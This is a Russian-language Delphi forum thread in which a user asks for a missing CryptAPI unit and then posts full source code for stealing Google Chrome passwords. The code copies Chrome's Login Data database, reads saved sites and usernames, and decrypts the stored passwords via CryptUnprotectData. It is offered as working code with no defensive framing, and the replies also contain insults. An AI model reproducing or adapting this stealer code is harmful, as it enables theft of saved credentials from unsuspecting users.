![]() |
|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
![]() Вот я искал ВЕЗДЕ CryptAPI.dcu так как он в Uses! Мне он реально нужен !!! Но .dcu нигде нет ! ... реально только всякие "Чудо проэкты с ним !"...
Имнно не CrypoAPI.dcu а CryptAPI.dcu ! ПОЖАЛУЙСТА ПОМОГИТЕ !!! P.S. Спасибо !!!!! |
#2
|
|||
|
|||
![]() вас дебилов, где то специально учат после каждого слова восклицательный знак ставить?
|
Этот пользователь сказал Спасибо robt за это полезное сообщение: | ||
vladislav147 (08.11.2012)
|
#3
|
||||
|
||||
![]() Выложи исходник, может банальная опечатка.
— Как тебя понимать? — Понимать меня не обязательно. Обязательно меня любить и кормить вовремя. На Delphi, увы, больше не программирую. Рекомендуемая литература по программированию |
Этот пользователь сказал Спасибо M.A.D.M.A.N. за это полезное сообщение: | ||
vladislav147 (08.11.2012)
|
Этот пользователь сказал Спасибо PhoeniX за это полезное сообщение: | ||
vladislav147 (08.11.2012)
|
#5
|
|||
|
|||
![]() Цитата:
Код:
unit Unit1; interface uses Windows, Classes, SysUtils, Registry, SQLiteTable3, CryptAPI, SQLite3DLL, BTMemoryModule, ActiveX, shlObj, StrUtils; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } public Function GetChromePasswords:TStringList; Function GetShellFolder(CSIDL:integer):String; end; var Form1: TForm1; implementation {$R *.dfm} interface function GetShellFolder(CSIDL: integer): string; var pidl : PItemIdList; FolderPath : string; SystemFolder : Integer; Malloc : IMalloc; begin Malloc := nil; FolderPath := ''; SHGetMalloc(Malloc); if Malloc = nil then begin Result := FolderPath; Exit; end; try SystemFolder := CSIDL; if SUCCEEDED(SHGetSpecialFolderLocation(0, SystemFolder, pidl)) then begin SetLength(FolderPath, max_path); if SHGetPathFromIDList(pidl, PChar(FolderPath)) then begin SetLength(FolderPath, length(PChar(FolderPath))); end; end; Result := FolderPath; finally Malloc.Free(pidl); end; end; Function CreateCopyName(FileName:string):String; begin Result:=FileName+' - Copy'; end; //Chrome Komplett //Chrome Hilfsfunktion Function UncryptChromePW(MS:TMemoryStream):string; var DBin, DBOut:Data_Blob; s:string; HArr:Array of Byte; i:integer; sHex:string; P:PByte; begin //cbData member holds the length of the pbData member's byte string // that contains the text to be encrypted. MS.Position:=0; DBOut.cbData := 0; DBOut.pbData := nil; DBIn.cbData := MS.Size; GetMem(DBIn.pbData, DBIn.cbData); DBIn.pbData:=MS.Memory; if CryptUnprotectData(@DBIn, nil, nil, nil, nil, 0, @DBOut) then begin P:=DBOut.pbData; SetLength(HArr,0); SetLength(HArr,DBOut.cbData); for i:=0 to DBOut.cbData-1 do begin HArr[i]:=P^; inc(P); end; s:=''; for i:=0 To High(HArr) do begin sHex:=IntToHex(HArr[i],1); s:=s+chr(HArr[i]); end; result := s; end else begin end; DBOut.pbData:=NIL; LocalFree(Cardinal(DBOut.pbData)); end; //Chrome-Main-Funktion Function GetChromeLoginData(LoginPath:string):TStringList; var MS:TMemoryStream; SQLiteDataBase:TSQLiteDatabase; SQLiteTable:TSQLiteTable; i:integer; begin Result:=TStringList.Create; try SQLiteDatabase := TSQLiteDatabase.Create(LoginPath); SQLIteTable := SQLiteDatabase.GetTable('SELECT * From logins'); if SQLIteTable.Count > 0 then begin for i := 0 to SQLiteTable.Count -1 do begin Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['origin_url'])); Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['username_value'])); MS := SQLIteTable.FieldAsBlob(SQLIteTable.FieldIndex['password_value']); //showmessage(inttostr(ms.Size)); Result.Add(UncryptChromePw(MS)); SQLIteTable.Next; end; end else Result.Add('Keine Passw?rter gespeichert!'); SQLIteTable.Free; SQLiteDatabase.Free; except on e:exception do Result.Add('Chrome-Failed'); end; end; Function GetChromePasswords:TStringList; var path:string; i:integer; SL:TStringList; begin Result:=TStringList.Create; try path:=GetShellFolder(28); //User/Appdata/Local path:=path+'\Google\Chrome\User Data\Default\Login Data'; if FileExists(path) then begin CopyFile(PChar(path),PChar(CreateCopyName(path)),false); path:=CreateCopyName(path); SL:=TStringList.Create; SL.AddStrings(GetChromeLoginData(path)); for i:=0 to SL.Count-1 do begin Result.Add(SL[i]); end; DeleteFile(path); end else Result.Add('Chrome-File not Found!'); except on e:exception do Result.Add('Chrome failed!'); end; end; end. Компилирую прогу для расшифровки пароля от Google Chrome ... Robt - НАХЕР ПОШЁЛ ! |
#6
|
|||
|
|||
![]() Цитата:
![]() |
#7
|
||||
|
||||
![]() С учётом использования модуля BTMemoryModule, можно предположить о самописности CryptAPI. И только автор исходника знает, что в нём используется.
Je venus de nulle part 55.026263 с.ш., 73.397636 в.д. |